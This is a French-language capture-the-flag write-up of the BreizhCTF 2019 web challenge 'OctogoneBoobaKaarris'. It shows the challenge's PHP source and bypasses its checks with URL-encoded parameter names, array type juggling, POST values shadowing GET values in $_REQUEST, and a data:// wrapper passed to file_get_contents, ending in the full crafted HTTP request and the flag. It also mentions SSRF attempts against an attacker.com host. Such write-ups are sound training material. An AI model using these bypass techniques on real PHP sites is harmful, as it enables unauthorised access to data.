![](https://www.asafety.fr/wp-content/uploads/1810105-BDI-BREIZH-CTF-2019-logo-DEF-300x300-1.png)
Présentation d’un write-up de résolution du challenge « Web – OctogoneBoobaKaarris » de la BreizhCTF 2019.
Durant la nuit du 12 au 13/04/2018 se déroulait la BreizhCTF 2019 sous forme d’un CTF Jeopardy. Ayant eu l’occasion et le temps d’y participer avec quelques collègues et amis, voici un write-up de résolution d’un des challenges.
- Catégorie : Web
- Nom : OctogoneBoobaKaarris
- Description : N/A
- URL : http://ctf.bzh:20006 / http://10.50.254.254:20006
- Points : 75
tl;dr; : Analyser un code source PHP pour satisfaire toutes les conditions (variables GET, POST, typage, valeurs) afin d’afficher le flag.
![](https://www.asafety.fr/wp-content/uploads/01-1024x606.jpg)
L’URL du challenge révèle un fichier PHP interprété, dont le code source est directement affiché (highlight_file()) :
![](https://www.asafety.fr/wp-content/uploads/04-1024x418.jpg)
<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('<center><b>booba vs kaaris... #tristesse</b></center>');
}
}
if($_SERVER){
if(preg_match('/octogone|flag|sans_regles/i', $_SERVER['QUERY_STRING'])) die('<center><b>booba vs kaaris... #tristesse</b></center>');
}
if(isset($_GET['octogone'])){
if(!(substr($_GET['octogone'], 32) === md5($_GET['octogone']))){
die('<center><b>booba vs kaaris... #tristesse</b></center>');
}else{
if(preg_match('/viens_pas_a_12_cette_fois$/', $_GET['sans_regles']) && $_GET['sans_regles'] !== 'Le dopage sera interdit bien evidemment et viens pas a 12 cette fois'){
$getflag = file_get_contents($_GET['flag']);
}
if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
include 'flag.php';
echo $flag;
}else die('<center><b>booba vs kaaris... #tristesse</b></center>');
}
}
?>
A la lecture de ce code source, on voit clairement qu’il nous faut satisfaire l’ensemble des conditions pour que le fichier « flag.php » soit inclus et que le flag soit affiché :
if(isset($getflag) && $getflag === '#jaiMalAMaFrance'){
include 'flag.php';
echo $flag;
}else die('<center><b>booba vs kaaris... #tristesse</b></center>');
Pour faciliter l’avancement de résolution de ce challenge, et notamment la validation de chaque condition, dupliquons le code source visible dans un fichier « octogone.php » dans notre Apache/XAMP local.
Numérotons les erreurs (booba vs kaaris… #tristesse), ajoutons quelques « echo » et réactivons les erreurs relatives à l’exécution de ce code pour commencer :
![](https://www.asafety.fr/wp-content/uploads/06-1-1024x461.jpg)
On remarque qu’en premier lieu, toutes les variables « $_REQUEST » (donc tous les $_GET et $_POST) sont contrôlés dans une boucle afin de vérifier qu’aucun caractère alpha (lower/upper) ne se trouve dans leurs valeurs :
if($_REQUEST){
foreach ($_REQUEST as $key => $value) {
if(preg_match('/[a-zA-Z]/i', $value)) die('<center><b>1 booba vs kaaris... #tristesse</b></center>');
}
}
![](https://www.asafety.fr/wp-content/uploads/07-1024x375.jpg)
Nous sommes donc contraints de faire figurer que des valeurs autres que lower-alpha / upper-alpha pour passer cette condition et ne pas déclencher le premier « die() ».
La condition suivante s’assure que les chaînes « octogone », « flag » ou « sans_regles » ne figurent pas parmi les paramètres GET via la variable « $_SERVER[‘QUERY_STRING’] ».
![](https://www.asafety.fr/wp-content/uploads/08.jpg)
Mais par la suite, le script nécessite la variable « $_GET[‘octogone’] »… Ça semble contradictoire, non?
Affichons dans le script les valeurs de $_SERVER[‘QUERY_STRING’], $_GET[« octogone »] et observons :
![](https://www.asafety.fr/wp-content/uploads/09-1024x513.jpg)
$_SERVER[‘QUERY_STRING’] preg_match
La seconde condition détecte en effet l’utilisation du mot « octogone » en paramètre GET, pourtant nous avons besoin de ce nom de variable par la suite. Le second « die() » est donc bloquant.
Tâchons de contourner cette analyse de $_SERVER[‘QUERY_STRING’] en URL-encodant un caractère du nom de la variable GET :
![](https://www.asafety.fr/wp-content/uploads/10-1024x486.jpg)
$_SERVER[‘QUERY_STRING’] analysis
Parfait ! En URL-encodant un des caractères du nom de la variable GET « octogone », on contourne le test réalisé sur $_SERVER[‘QUERY_STRING’], et la variable $_GET[« octogone »] existe bel et bien.
En effet, si l’on compare pour les URLs suivantes :
http://127.0.0.1/breizhctf/octogone.php?octogone=1337
$_SERVER['QUERY_STRING'] === "octogone=1337"
$_GET["octogone"] === "1337"
http://127.0.0.1/breizhctf/octogone.php?octo%67one=1337
$_SERVER['QUERY_STRING'] === "octo%67one=1337"
$_GET["octogone"] === "1337"
La variable $_SERVER[‘QUERY_STRING’] n’est pas « url_decode() » automatiquement contrairement aux variables $_GET, ce que la documentation confirme :
![](https://www.asafety.fr/wp-content/uploads/11.jpg)
La condition suivante, maintenant que la variable $_GET[« octogone »] existe, vérifie que le substr() à partir du 32ème caractère de cette même variable, est strictement égal au md5() global de la valeur de la variable elle-même (!?).
Brisons cette condition en trans-typant en tant que tableau la variable $_GET[« octogone »] :
http://127.0.0.1/breizhctf/octogone.php?octo%67one[]=1337
![](https://www.asafety.fr/wp-content/uploads/12-1024x655.jpg)
En ayant réactivé les erreurs (erreur_reporting(0) commenté), PHP devient tout de suite plus verbeux, mais ce ne sont que des « Warning », donc la condition est passée ! Le dernier « die() » est déclenché.
Condition suivante, la valeur de la variable $_GET[« sans_regles »] doit se terminer par « viens_pas_a_12_cette_fois » sans être strictement égale à « Le dopage sera interdit bien evidemment et viens pas a 12 cette fois« .
Aïe, cette condition risque de nous donner du fil à retordre car « viens_pas_a_12_cette_fois » est composé de caractère alpha, ce qui rentre en conflit avec la toute première condition et le premier die()…
![](https://www.asafety.fr/wp-content/uploads/13-1024x514.jpg)
Pour cette étape, de nombreuses tentatives infructueuses d’encodage dans tous les sens de la valeur « viens_pas_a_12_cette_fois » ont été faites, en vain…
- URL-encode
- Double-URL-encode
- Octal-Encode
- Long Unicode
- Etc.
Aucun de ces encodages ne permettait de contourner la première vérification-condition sur l’expression régulière « /[a-zA-Z]/i ». Même l’URL-encodage (donc en hexadécimal) contenait des caractères A-F :
http://127.0.0.1/breizhctf/octogone.php?octo%67one[]=1337&sans_%72egles=%76%69%65%6e%73%5f%70%61%73%5f%61%5f%31%32%5f%63%65%74%74%65%5f%66%6f%69%73
Mais, depuis tout à l’heure, nous ne jouons qu’avec les paramètres GET ! Alors que ce premier contrôle est réalisé sur $_REQUEST !
$_REQUEST regroupe à la fois les paramètres $_GET et $_POST. Que se passe t’il si un même nom de variable est utilisé à la fois en GET et en POST ? Lequel prend le dessus ? Un petit PoC s’impose :
![](https://www.asafety.fr/wp-content/uploads/14.jpg)
Jackpot ! Si une même variable en GET et en POST est déclarée (avec une valeur différente), $_REQUEST privilégie la valeur POST !
On est donc à présent capable de contourner la condition :
![](https://www.asafety.fr/wp-content/uploads/15-1024x718.jpg)
Dernière étape, maintenant que cette ultime condition est contournée, il nous faut valuer la variable $getflag avec la chaîne « #jaiMalAMaFrance« .
Pour valuer cette valeur, un « file_get_contents() » est réalisé sur la valeur de $_GET[« flag »]. SSRF ?
Plusieurs tentatives de SSRF en passant l’URL d’un serveur tiers (http://attacker.com/flag, contenant juste « #jaiMalAMaFrance ») n’ont rien donné.
La piste du « php://input » n’était pas exploitable, car « php://input » récupère son « input » depuis les données POST, or nous en avons déjà défini, donc ça ne pourra par être strictement égale à « #jaiMalAMaFrance ».
Il reste le mode brute/raw, via le wrapper data://, testons :
http://127.0.0.1/breizhctf/octogone.php?octo%67one[]=1337&sans_%72egles=viens_pas_a_12_cette_fois&fl%61g=data:text/plain,%23jaiMalAMaFrance
Données POST :
octo%67one=1337&sans_%72egles=1337&fl%61g=1337
![](https://www.asafety.fr/wp-content/uploads/16-1024x736.jpg)
Parfait ! Il ne reste plus qu’à rejouer le tout sur le challenge, soit la requête finale :
POST /index.php?oct%6fgone[]=1337&sans_%72egles=viens_pas_a_12_cette_fois&fl%61g=data:text/plain,%23jaiMalAMaFrance HTTP/1.1
Host: 10.50.254.254:20006
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
Upgrade-Insecure-Requests: 1
sans_%72egles=1337&fl%61g=1337&oct%6fgone=1337
![](https://www.asafety.fr/wp-content/uploads/02-1024x510.jpg)
![](https://www.asafety.fr/wp-content/uploads/05-1024x485.jpg)
Flag :
BREIZHCTF{un_octogone_sans_arbitre_sans_règles…#jaimalamafrance}
Ce challenge nous a bien occupé une bonne partie de la nuit, surtout qu’à 10 minutes de la fin nous n’étions que la seconde équipe à le réussir :
![](https://www.asafety.fr/wp-content/uploads/03-1024x606.jpg)
Chapeau à Estelle, Martin, et Brian (Samy) pour celui-ci !
Merci à toute l’équipe de la BreizhCTF pour l’organisation et la qualité des challenges !
Salutations à toute l’équipe, on remet ça quand vous voulez // Gr3etZ